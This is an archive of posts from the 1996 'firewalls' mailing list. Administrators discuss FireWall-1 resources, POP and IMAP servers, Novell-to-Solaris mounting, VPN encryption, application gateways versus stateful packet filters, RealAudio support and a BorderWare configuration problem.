from the quill of Jim Brown <jim.brown@ptech.com> on scroll
<9603061331.AA13561@nexus.ptech.com>
> I am interested in providing an "unofficial" firewall-1 web and
> ftp site.  I know that there are lots of people hacking up perl
> and INSPECT code to tweak firewall-1 for their purposes.  I
> would like our web site (http://www.ptech.com) to provide a clearing
> house for firewall-1 information of all types.

Sounds good.

> So... I welcome your feedback.  If you have tips, tricks or code
> to contribute, please e-mail it to me.  I will make sure the authors 
> are given full credit.  If you have been looking for firewall-1 site 
> like this (like we have!), let me know.  However, if you think this is 
> stupid idea, let me know that too.  :)

Well, if you set it up I'm sure we'll find out soon enough whether it's a
bad idea.  :-)

> On a related topic, I am also considering setting up a list server to
> announce significant changes that are made to this site.  Let me know
> what yall think about that too ...

I think the low volume on the firewall-1 list would justify using it. 
Afterall we're all here because we are using or are interested in
firewall-1.

b.


--
Brian J. Murrell                                              murrell@bctel.net
BCTel Advanced Communications                                   brian@ilinx.com
Vancouver, B.C.                                                brian@wimsey.com
604 454 5279

From firewalls-owner  Wed Mar  6 09:08:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA03949 for firewalls-outgoing; Wed, 6 Mar 1996 08:46:14 -0800 (PST)
Received: from gmap-gw.leeds.ac.uk (gmap15.leeds.ac.uk [129.11.84.200]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA03840 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 08:44:00 -0800 (PST)
Received: from gmap3 (gmap3.gmap.leeds.ac.uk [129.11.200.3]) by gmap-gw.leeds.ac.uk (8.7.3/8.6.9) with SMTP id QAA23970 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 16:42:31 GMT
Received: from gmap.leeds.ac.uk (dannyc@gmap124 [129.11.200.124]) by gmap3 (8.6.12/8.6.9) with SMTP id QAA06373 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 16:42:28 GMT
From: Danny Cox <dannyc@gmap.leeds.ac.uk>
Date: Wed, 6 Mar 1996 16:42:22 GMT
Message-Id: <3934.9603061642@gmap.leeds.ac.uk>
X-Planation: X-Faces images can be viewed with the XFaces program
To: firewalls@greatcircle.com
Subject: POP server with UIDL command
X-Sun-Charset: US-ASCII
X-Face: (:_YnQcTM$q\Nl0.mYy:C'Y|(;&7.2m~Rc%xt<h2BJUHbq*&OrSMQ-y#n.HP\]znAB^\%x-
 QAt_&;l5
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Dear all,

  I've recently compiled up a couple of POP servers and found that they don't
implement the command which allows the mail messages to be left in place on
the mail server.  Consequently we're forced to end up with email all over.
That doesn't matter when a given person only uses a PC or only uses a work
station, but it does if they use both.

Can anyone help ?  Actually - while I'm about it - does anyone know of any
methods for allowing a Solaris workstation to mount a Novell drive via either
IPX or IP ?

And one more - anyone point me to some 'Java for Idiots' type guides, and 
also to any comparisons of Java with the other similar things which are coming
out currently ?

Cheers all,
Danny

From firewalls-owner  Wed Mar  6 09:32:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA04707 for firewalls-outgoing; Wed, 6 Mar 1996 08:59:28 -0800 (PST)
Received: from dcb01a.cwi.net (dcb01a.cwi.net [205.136.1.65]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA04659 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 08:59:18 -0800 (PST)
Received: (from chris@localhost) by dcb01a.cwi.net (8.6.9/8.6.9) id LAA28393; Wed, 6 Mar 1996 11:57:50 -0500
Date: Wed, 6 Mar 1996 11:57:50 -0500
From: Chris Eastman <chris@cwi.net>
Subject: harvest
To: firewalls@greatcircle.com
Message-ID: <Pine.3.89.9603061106.A28377-0100000@dcb01a.cwi.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Seems that the latest trend is towards caching technology, I have been 
going over the NANOG minutes and it seems that the Harvest project is the 
way to go - my question is this, is it possible to run Harvest on a 
network's main gateway/firewall machine?  Security wise what would be the 
optimum configuration (ie internal net -> Harvest server -> firewall host)?

--chris

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Christopher Eastman	  %%  Cable & Wireless, Inc  %%
%%  MDS Network Engineer  %%      1919 Gallows Road  %%
%%  chris@cwi.net	  %%       Vienna, VA 22182  %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


From firewalls-owner  Wed Mar  6 09:32:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA05620 for firewalls-outgoing; Wed, 6 Mar 1996 09:19:18 -0800 (PST)
Received: from garrison.com. (garrison.garrison.com [199.1.78.14]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA05615 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 09:19:13 -0800 (PST)
Received: by garrison.com. (4.1/Nutered Mailer)
	id AA06473; Wed, 6 Mar 96 11:13:56 CST
Date: Wed, 6 Mar 96 11:13:56 CST
From: jeromie@garrison.com (Jeromie Jackson)
Message-Id: <9603061713.AA06473@garrison.com.>
To: holdrege@eisner.decus.org, firewalls@greatcircle.com
Subject: RE: IP/IPX firewall
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>>I'm looking for a firewall that would allow only certain IP and IPX 
>>addresses to access a LAN. At least one of the interfaces on the Firewall 
>>need to be Token Ring. The other could be Token Ring or Ethernet. Does such 
>>a beast exist?

>>Yes -- its called a router. With filtering capabilities, of course.  :-)

>>- paul

>> OK, OK. To be more specific, this firewall needs to have a user-friendly 
>> access list administrative interface. That rules out the Cisco routers that 
>> we use. 

Ciscoworks, or FW-1 would provide such an interface I do believe..

Jeromie Jackson
Garrison Technologies
jeromie@garrison.com


From firewalls-owner  Wed Mar  6 09:48:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA05566 for firewalls-outgoing; Wed, 6 Mar 1996 09:15:51 -0800 (PST)
Received: from garrison.com. (garrison.garrison.com [199.1.78.14]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA05546 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 09:15:41 -0800 (PST)
Received: by garrison.com. (4.1/Nutered Mailer)
	id AA06465; Wed, 6 Mar 96 11:11:33 CST
Date: Wed, 6 Mar 96 11:11:33 CST
From: jeromie@garrison.com (Jeromie Jackson)
Message-Id: <9603061711.AA06465@garrison.com.>
To: frankw@in.net, firewalls@greatcircle.com
Subject: RE: VPN's over the internet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

To: frankw@in.net, firewall@greatcircle.com
Subject: RE: VPN's over the internet

o Most commercial firewalls offer firewall->firewall encryption, 
  so extra encryption h/w or s/w isn't usually needed.

	Yes, but many of the firewalls do it via software, causing potential 
bottlenecks @ high bandwidth, therefore it IS beneficial to move to a hardware
platform that has a dedicated processor.


o Many (most?) firewalls when performing firewall->firewall encryption
  are only providing an IP encryption tunnel through the firewalls.

	You would think any 1/2-way intelligent firewall company would not allow
such a thing to happen.  Why would they effectively breach the complete 
functionality of the application proxy server?  If they fully trust the other
entity they should add in the appropriate rulesets to allow such behavior. The
idea of "I have a VPN therefore I bypass my proxy based services" is obscene.


  It is important to note that *NO* applications filtering is performed.
  While this may offer protection from a MITM (Man-In-The-Middle) attack 
  (Internet, etc), it offers *NO* protection from the other entity's
  network.  A problem on their network is a problem on your network.
>

	If this is true, again, if you moved to an independant hardware solution
you would be able to still have the complete functionality of the proxy 
services.

o It is usually beneficial to firewall VPN connections to localize
  contamination in the event one of the VPN entities is breached.


Jeromie Jackson
Garrison Technologies
jeromie@garrison.com


From firewalls-owner  Wed Mar  6 11:31:16 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA11851 for firewalls-outgoing; Wed, 6 Mar 1996 11:18:52 -0800 (PST)
Received: from POWERED.ZOO3.CS.YALE.EDU (ZOO-GW.CS.YALE.EDU [128.36.0.5]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id LAA11846 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 11:18:45 -0800 (PST)
Received: by POWERED.ZOO3.CS.YALE.EDU id OAA32624; Wed, 6 Mar 1996 14:17:15 -0500
Date: Wed, 6 Mar 1996 14:17:13 -0500 (EST)
From: "Rev. Ben" <samman-ben@CS.YALE.EDU>
To: firewalls@greatcircle.com
Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
In-Reply-To: <UPMAIL02.199603060601010590@msn.com>
Message-ID: <Pine.A32.3.91.960306141524.61520A-100000@POWERED.ZOO2.CS.YALE.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> I assume that windows 3.11,NT and 95 can forward packets from the PPP link to 
> the local network, thereby acting as a router and exposing the private network 
> to the internet.


While this is definitely possible, AFAIK, Win95 has IPForwarding turned off.

Ben.
Ben Samman..............................................samman@cs.yale.edu
"If what Proust says is true, that happiness is the absence of fever, then 
I will never know happiness. For I am possessed by a fever for knowledge, 
experience, and creation."                                      -Anais Nin
Want to give a soon-to-be college grad a job?         Mail me for a resume


From firewalls-owner  Wed Mar  6 11:47:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA12413 for firewalls-outgoing; Wed, 6 Mar 1996 11:32:57 -0800 (PST)
Received: from sun.aitc.rest.tasc.com (sun.aitc.rest.tasc.com [147.81.50.129]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA12406 for <Firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 11:32:52 -0800 (PST)
Received: from iwdc1.office.rest.tasc.com by sun.aitc.rest.tasc.com (NX5.67e/NX3.0M-TASCnet-003)
	id AA26688; Wed, 6 Mar 96 14:11:43 -0600
Received: by iwdc1.office.rest.tasc.com (4.1/SMI-4.1)
	id AA11524; Wed, 6 Mar 96 14:31:44 EST
Date: Wed, 6 Mar 96 14:31:44 EST
From: rebowes@tasc.com (Bob Bowes)
Message-Id: <9603061931.AA11524@iwdc1.office.rest.tasc.com>
To: Firewalls@GreatCircle.COM, Mike.Attayek.0199191@nt.com
Subject: Re: None
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


> Our school system has a pilot WAN and internet access project with  a =
> large telecommunications co.  We have, as they say, direct access to the =
> internet, ie, no firewall.  Could someone elaborate on the risks which =
> our school children may be exposed to by not operating behind a firewall?
> 
> Many thanks!
> 
> Mike Attayek
> 0199191@nt.com  
> 
At my son's school, all doors are locked except the front door by the
office.  All visitors must therefore go by the office where they
receive a visitor's badge.  A firewall would provide the same type of
environment.  There is only one place to enter, and that is watched.
It doesn't guarantee that nothing bad will enter, but it does make it
more difficult.

As far as specific risks, without knowing what you have on the WAN, I
couldn't say.  I will say that any information stored on any machine on
the WAN is subject to purusal, modification and/or deletion.
Therefore, the first question I would ask is: what do you have
connected to the WAN?  student records, personnel records, etc.

BTW, welcome the cyberspace :-)

Bob
rebowes@tasc.com

From firewalls-owner  Wed Mar  6 12:23:03 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA14623 for firewalls-outgoing; Wed, 6 Mar 1996 12:09:48 -0800 (PST)
Received: from interlock.mgh.com (interlock.mgh.com [152.159.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA14609 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 12:09:42 -0800 (PST)
From: dnewman@mcgraw-hill.com
Message-Id: <199603062009.MAA14609@miles.greatcircle.com>
Received: by interlock.mgh.com id 
  (InterLock SMTP Gateway 3.0 for firewalls@greatcircle.com);
  Wed, 6 Mar 1996 15:08:02 -0500
Received: by interlock.mgh.com (Protected-side Proxy Mail Agent-1);
  Wed, 6 Mar 1996 15:08:02 -0500
Received: by interlock.mgh.com (Protected-side Proxy Mail Agent-0);
  Wed, 6 Mar 1996 15:08:02 -0500
Date: Wed, 06 Mar 96 13:37:45 EDT
To: firewalls@greatcircle.com
Subject: A thousand apologies
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     
     The March 1996 issue of Data Comm magazine has a short item about the 
     firewalls list. Unfortunately due to an editing error by yours truly 
     the item directs subscription requests to the list instead of 
     majordomo.
     
     We will be running a correction as soon as possible. My apologies for 
     reducing the S/N ratio and crowding the already overstuffed inboxes of 
     the good readers of this list.
     
     Regards and regrets
     
     David Newman                               dnewman@data.com
     Director, Data Comm Test Program         voice 212-512-6182
     Data Communications magazine               fax 212-512-6833


From firewalls-owner  Wed Mar  6 12:54:00 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA14831 for firewalls-outgoing; Wed, 6 Mar 1996 12:14:39 -0800 (PST)
Received: from Pleasanton01.POP.InterNex.Net (Pleasanton01.POP.InterNex.Net [205.158.3.98]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA14822 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 12:14:34 -0800 (PST)
Received: from enera.earesearch.com ([205.158.173.42])
          by Pleasanton01.POP.InterNex.Net (post.office MTA v1.9.1
          ID# 0-11025) with SMTP id AAA12680;
          Wed, 6 Mar 1996 12:13:00 -0700
Received: from [205.158.173.91] (ws91.earesearch.com) by enera.earesearch.com (4.1/SMI-4.1)
	id AA23184; Wed, 6 Mar 96 12:12:56 PST
Message-Id: <9603062012.AA23184@enera.earesearch.com>
Subject: Re: POP server with UIDL command
Date: Wed, 6 Mar 96 12:12:54 -0800
From: David Evans <devans@earesearch.com>
To: "Danny Cox" <dannyc@gmap.leeds.ac.uk>, <firewalls@greatcircle.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Can anyone help ?  Actually - while I'm about it - does anyone know of any
>methods for allowing a Solaris workstation to mount a Novell drive via either
>IPX or IP ?

See the March issue of the Sun Online Magazine, IDG's magazine for the 
Sun community,
at http://www.sun.com/sunworldonline  

If you subscribe to their list you get a email overview of the magazine 
twice a month.

The March issue reviews several third-party packages (including 
SunSoft's) to "turn your
SPARCstation into a NetWare server".

Dave Evans
EA Research, Inc.

From firewalls-owner  Wed Mar  6 13:08:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA15266 for firewalls-outgoing; Wed, 6 Mar 1996 12:22:47 -0800 (PST)
Received: from mickey.ovid.com (mickey.ovid.com [198.242.51.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA15259 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 12:22:41 -0800 (PST)
Received: by mickey.ovid.com (AIX 3.2/UCB 5.64/4.03)
          id AA21370; Wed, 6 Mar 1996 13:06:24 -0700
Date: Wed, 6 Mar 1996 13:06:23 -0700 (MST)
From: Adam Prato <adamp@mickey.ovid.com>
To: Danny Cox <dannyc@gmap.leeds.ac.uk>
Cc: firewalls@greatcircle.com
Subject: Re: POP server with UIDL command
In-Reply-To: <3934.9603061642@gmap.leeds.ac.uk>
Message-Id: <Pine.A32.3.91.960306130349.16747A-100000@mickey.ovid.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



On Wed, 6 Mar 1996, Danny Cox wrote:

> Date: Wed, 6 Mar 1996 16:42:22 GMT
> From: Danny Cox <dannyc@gmap.leeds.ac.uk>
> To: firewalls@greatcircle.com
> Subject: POP server with UIDL command
> 
> Dear all,
> 
>   I've recently compiled up a couple of POP servers and found that they don't
> implement the command which allows the mail messages to be left in place on
> the mail server.  Consequently we're forced to end up with email all over.
> That doesn't matter when a given person only uses a PC or only uses a work
> station, but it does if they use both.

try popper from ftp://ftp.qualcomm.com - look around in there.

> 
> Can anyone help ?  Actually - while I'm about it - does anyone know of any
> methods for allowing a Solaris workstation to mount a Novell drive via either
> IPX or IP ?

Novell Netware NFS 1.2c - We have a network (over utilized I might add) of 
Netware NFS servers exporting its volumes to AIX servers. It serves its 
purpose. However you tend to run into problems when using it at the extent that
we do. Novell's NFS cant keep up with the torture we put it through.


Adam

From firewalls-owner  Wed Mar  6 13:15:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA16620 for firewalls-outgoing; Wed, 6 Mar 1996 12:49:21 -0800 (PST)
Received: from tintagel.kesmai.com (tintagel-out.kesmai.com [199.95.72.66]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA16588 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 12:49:08 -0800 (PST)
Received: by tintagel.kesmai.com; id PAA05694; Wed, 6 Mar 1996 15:46:33 -0500
Received: from muddy.kesmai.com(199.95.75.19) by tintagel.kesmai.com via smap (g3.0.1)
	id sma005687; Wed, 6 Mar 96 15:46:25 -0500
Received: from sandy_bryant (kespc222.kesmai.com [199.95.75.222]) by muddy.kesmai.com (8.6.12/8.6.9) with SMTP id PAA18644; Wed, 6 Mar 1996 15:43:15 -0500
Date: Wed, 6 Mar 1996 15:43:15 -0500
Message-Id: <199603062043.PAA18644@muddy.kesmai.com>
X-Sender: slb@muddy.kesmai.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Danny Cox <dannyc@gmap.leeds.ac.uk>, firewalls@GreatCircle.COM
From: sandy bryant <sandy@kesmai.com>
Subject: Re: POP server with UIDL command
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 04:42 PM 3/6/96 GMT, Danny Cox wrote:
>Dear all,
>
>  I've recently compiled up a couple of POP servers and found that they don't
>implement the command which allows the mail messages to be left in place on
>the mail server.  Consequently we're forced to end up with email all over.
>That doesn't matter when a given person only uses a PC or only uses a work
>station, but it does if they use both.
>
>Can anyone help ?  Actually - while I'm about it - does anyone know of any
>methods for allowing a Solaris workstation to mount a Novell drive via either
>IPX or IP ?
>
>And one more - anyone point me to some 'Java for Idiots' type guides, and 
>also to any comparisons of Java with the other similar things which are coming
>out currently ?
>
>Cheers all,
>Danny
>
>
Danny,
   What you really want is an IMAP mail client, not POP. There are a lot
fewer of them, but they do exist.  The big-lan mailing list keeps a running
list of who makes what, but I don't have the current one.  As for mounting a
Netware drive on a Unix machine, you can do this with Netware-NFS, a product
that Novell sells.  Don't have a suggestion for the last question...

sandy bryant
kesmai corp.
sandy@kesmai.com


From firewalls-owner  Wed Mar  6 13:31:01 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA16464 for firewalls-outgoing; Wed, 6 Mar 1996 12:47:04 -0800 (PST)
Received: from beach.sctc.com (beach.sctc.com [192.55.214.50]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA16452 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 12:46:59 -0800 (PST)
Received: from beach.sctc.com (daemon@localhost) by beach.sctc.com (8.7.2/8.7.2) with ESMTP id OAA23470; Wed, 6 Mar 1996 14:45:38 -0600 (CST)
Received: from sphinx.sctc.com (sphinx.sctc.com [172.17.192.3]) by beach.sctc.com (8.7.2/8.7.2) with ESMTP id OAA23466; Wed, 6 Mar 1996 14:45:37 -0600 (CST)
Received: from shade.sctc.com (shade.sctc.com [172.17.192.48]) by sphinx.sctc.com (8.7.1/8.6.10) with SMTP id OAA09862; Wed, 6 Mar 1996 14:46:01 -0600 (CST)
Received: (from smith@localhost) by shade.sctc.com (8.6.12/8.6.9) id OAA27260; Wed, 6 Mar 1996 14:46:01 -0600
Date: Wed, 6 Mar 1996 14:46:01 -0600
From: Rick Smith <smith@sctc.com>
Message-Id: <199603062046.OAA27260@shade.sctc.com>
To: firewalls@greatcircle.com
Cc: smith@sctc.com, kris@schulung.netuse.de
Subject: Re: Eternal war: gateway versus filtering 
 
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Kristian Koehntopp replies to Marcus Ranum:

>I see your case now: It is possible to either implement an
>application level gateway that handles a protocol or to tap an
>incoming connection and attach a state machine (or some other
>mechanism) to this connection that tracks the protocol on this
>connection at an arbitrary level of detail. 

As long as a "packet filter" is relatively stateless the distinction
between gateways and filters makes sense and the layering works.

I believe that once you start maintaining much state about a
connection, this so-called packet filter is implementing something
more like a gateway. If the packet filter is reconstructing FTP
messages so it can extract port numbers from the data stream, then
it's a mislabeled application gateway.

In other words, I think the layering is relevant. If the firewall
reconstructs data streams according to application level protocols
it's an application gateway. The term "stateful packet filter" simply
describes how the application gateway was built.

>I agree with you that any filter that is going to track a
>connection at application level has to be just as complex as
>the corresponding application level gateway.

Having built more than my share of state driven software I admit a
sympathy towards a stateful filter implementation -- it has the
potential to be screamingly fast. Given the right tools you could also
do some interesting behavioral analysis just from the design
specification.  But without the tools it can be ugly, very ugly to
build correctly.

The problem is that you have to construct *lots* of states in order to
assemble meaningful data at higher levels.  The approach doesn't tend
to scale well to keep up with higher level protocols. It becomes a
program where *every* statement has branches attached.

>I just think that it might be easier to write and verify such
>application specific code for applications (much of this code
>already exists) than for something that has to perform such
>checks on the fly while it is wading knee deep through partially
>received data. 

I agree that it's easier to get sequential source code developed and
debugged, since that's what everyone is taught to create.  If the
programming community had evolved differently, we might have all been
taught to program in terms of state transition diagrams. We'd have the
the insight, experience, and tools to develop, analyze, and debug such
stuff. But without all that, it's riskier.

Rick.
smith@sctc.com          secure computing corporation

From firewalls-owner  Wed Mar  6 14:09:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA14019 for firewalls-outgoing; Wed, 6 Mar 1996 12:00:32 -0800 (PST)
Received: from desiree.teleport.com (desiree.teleport.com [192.108.254.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA14005 for <Firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 12:00:24 -0800 (PST)
Received: from kludge.teleport.com (ip-pdx12-09.teleport.com [206.163.122.201]) by desiree.teleport.com (8.6.12/8.6.9) with SMTP id LAA00674; Wed, 6 Mar 1996 11:58:25 -0800
Message-Id: <2.2.32.19960306195827.0092e7c4@mail.teleport.com>
X-Sender: alano@mail.teleport.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 06 Mar 1996 11:58:27 -0800
To: Mike Attayek <Mike.Attayek.0199191@nt.com>,
        Firewall Address <Firewalls@GreatCircle.COM>
From: Alan Olsen <alano@teleport.com>
Subject: Re: None
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 01:18 PM 3/5/96 +0000, Mike Attayek wrote:

>Our school system has a pilot WAN and internet access project with  a large
>telecommunications co.  We have, as they say, direct access to the
internet, >ie, no firewall.  Could someone elaborate on the risks which our
school >children may be exposed to by not operating behind a firewall?

I think that you are confusing a firewall with a filter to autocensor the
sites the kiddies can see.

A firewalls purpose is to keep people from the outside world from hacking
your site.  Some firewalls will allow configuration to allow you to deny
connections to certain verbotten sites, but it is usually a pain to
configure as such.  (And the really good smut sites change every day.)

There are tools that will keep the kiddies from finding socalled
"objectionable" words, thoughts, and ideas from their tender little brains.
(They are called "busybodies" and the PTA".)  Most intelegent kids know how
to get past them however.  (That which is forbidden is most attractive at
that, and any, age.)

The real purpose for such filters is to spare the wrath of the parents and
not to "protect" children from things they have access to elsewhere.  (Like
the public library.)

But then, this is a forum for security and not insecurity...
---
Alan Olsen -- alano@teleport.com -- Contract Web Design & Instruction
        `finger -l alano@teleport.com` for PGP 2.6.2 key 
                http://www.teleport.com/~alano/ 
  "We had to destroy the Internet in order to save it." - Sen. Exon
"I, Caligula Clinton... In the name of the Senate and the people of Rome!"
   - Bill Clinton signing the CDA with the First Amendment bent over.


From firewalls-owner  Wed Mar  6 15:51:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA20348 for firewalls-outgoing; Wed, 6 Mar 1996 14:14:15 -0800 (PST)
Received: from kyrene.k12.az.us ([204.43.65.129]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id OAA20343 for <firewalls@GreatCircle.COM>; Wed, 6 Mar 1996 14:14:09 -0800 (PST)
Received: by ksddns.kyrene.k12.az.us id <31074>; Wed, 6 Mar 1996 15:13:56 -0700
Date: Tue, 5 Mar 1996 22:15:52 -0700
From: Bill Myers <bmyers@DO1.KYRENE.K12.AZ.US>
Organization: KSD
X-Mailer: Mozilla 2.0 (WinNT; I)
MIME-Version: 1.0
To: firewalls@GreatCircle.COM
Subject: Re: RealAudio and Firewalls
References: <199602292358.PAA01641@miles.greatcircle.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <96Mar6.151356mst.31074@ksddns.kyrene.k12.az.us>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Hung Vu wrote:
> 
> In message <2.2.32.19960227010455.006ded34@us.checkpoint.com> 

Hey Borderware! Are you getting all this?




"Emily G. Cohen"
> writes:
> > CheckPoint FireWall-1 supports RealAudio securely
> > TODAY, and is the first firewall to do so.
> > See the CheckPoint home page at www.checkpoint.com
> > for the press release (December 5, 1995) and the
> > free downloadable code for FireWall-1 users.
> >
> 
> Black Hole users have been using RealAudio securely for a while now.  I not sure
> about who is the first :)
> 
> www.milkyway.com or info@milkyway.com for more information on Black Hole.
> 
> Hung.

From firewalls-owner  Wed Mar  6 16:05:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA21862 for firewalls-outgoing; Wed, 6 Mar 1996 15:02:10 -0800 (PST)
Received: from claven.den.mmc.com (claven.den.mmc.com [160.205.32.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA21850 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 15:02:03 -0800 (PST)
From: "P. Godwin" <pgodwin@claven.den.mmc.com>
Received: by claven.den.mmc.com; Wed, 6 Mar 96 16:01:59 -0700
Message-Id: <313e19672fc7002@claven.den.mmc.com>
Subject: Re: POP server with UIDL command
To: dannyc@gmap.leeds.ac.uk
Date: Wed, 6 Mar 96 16:01:57 MST
Cc: firewalls@greatcircle.com
In-Reply-To: <3934.9603061642@gmap.leeds.ac.uk>; from "Danny Cox" at Mar 6, 96 4:42 pm
Mailer: Elm [revision: 70.85.2.1]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>   I've recently compiled up a couple of POP servers and found that they don't
> implement the command which allows the mail messages to be left in place on
> the mail server.  Consequently we're forced to end up with email all over.
> That doesn't matter when a given person only uses a PC or only uses a work
> station, but it does if they use both.

Excellent info resource for POP3 and IMAP is the "E-Mail POP3 Web Resources"
page at: 
     http://andrew2.andrew.cmu.edu/cyrus/email/servers-POP.html
This page references resources (servers & clients) along w/tables showing
differences between various products.   This page has links to almost
everything it references.    Good Luck.


From firewalls-owner  Wed Mar  6 16:16:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA24736 for firewalls-outgoing; Wed, 6 Mar 1996 16:06:57 -0800 (PST)
Received: from WVLINK.MPL.COM (WVLINK.MPL.COM [198.77.4.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA24695 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 16:06:38 -0800 (PST)
Date: Wed, 6 Mar 1996 16:06:38 -0800 (PST)
Message-Id: <199603070006.QAA24695@miles.greatcircle.com>
Received: from pc-1.mpl.com by WVLINK.MPL.COM (MX V4.0 VAX) with SMTP; Wed, 06
          Mar 1996 19:04:49 EST
X-Sender: jim@wvlink.mpl.com
X-Mailer: Windows Eudora Version 2.0.3
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@greatcircle.com
From: jim@wvlink.mpl.com (Jim Poling)
Subject: Firewall with no Internet Connection
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I'm trying to get a BorderWare Firewall server to work on my client's VERY
large internal network, as a secure was of authenticating dialup PPP users
between the terminal server (Only thing on the external side of the FW),
and the large internal network.

   I've got the newest demo of the borderware FW server, 
and I'm getting the following syptoms.

        -Internal network can ping internal side of Firewall and Vice Versa.

        -External network can ping external side of Firewall and Vice Versa.
        -Internal network cannot ping either external side of FW or external
network, and Vice Versa.

   In the General Log section, it says

Mar 6, 17:21:40 PWC Kernel kpf rule #10,ef0,141.192.100.102,0,141.192.100.101,
8,0,1,permit
(This is internal terminal server to external FW)

Mar 6, 17:21:47 PWC Kernel kpf rule #14,ef0,141.192.100,102,0,141.119.42.245,
8,1,1,deny
(This is external terminal server to internal FW)

At least I know it can't be a cabling problem now.  The FW is actually denying
access to the internal network, and all of the PING's are turned on.  As a
matter
of fact I went ahead and turned EVERYTHING on to be sure.

Anybody have any clues?

Thanks,
-JIM Poling
 MPL Corp.
 Buckhannon, WV
 (304)472-9520
 JIM@WVLINK.MPL.COM


From firewalls-owner  Wed Mar  6 16:39:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA20487 for firewalls-outgoing; Wed, 6 Mar 1996 14:20:35 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA20470 for <firewalls@GreatCircle.com>; Wed, 6 Mar 1996 14:20:27 -0800 (PST)
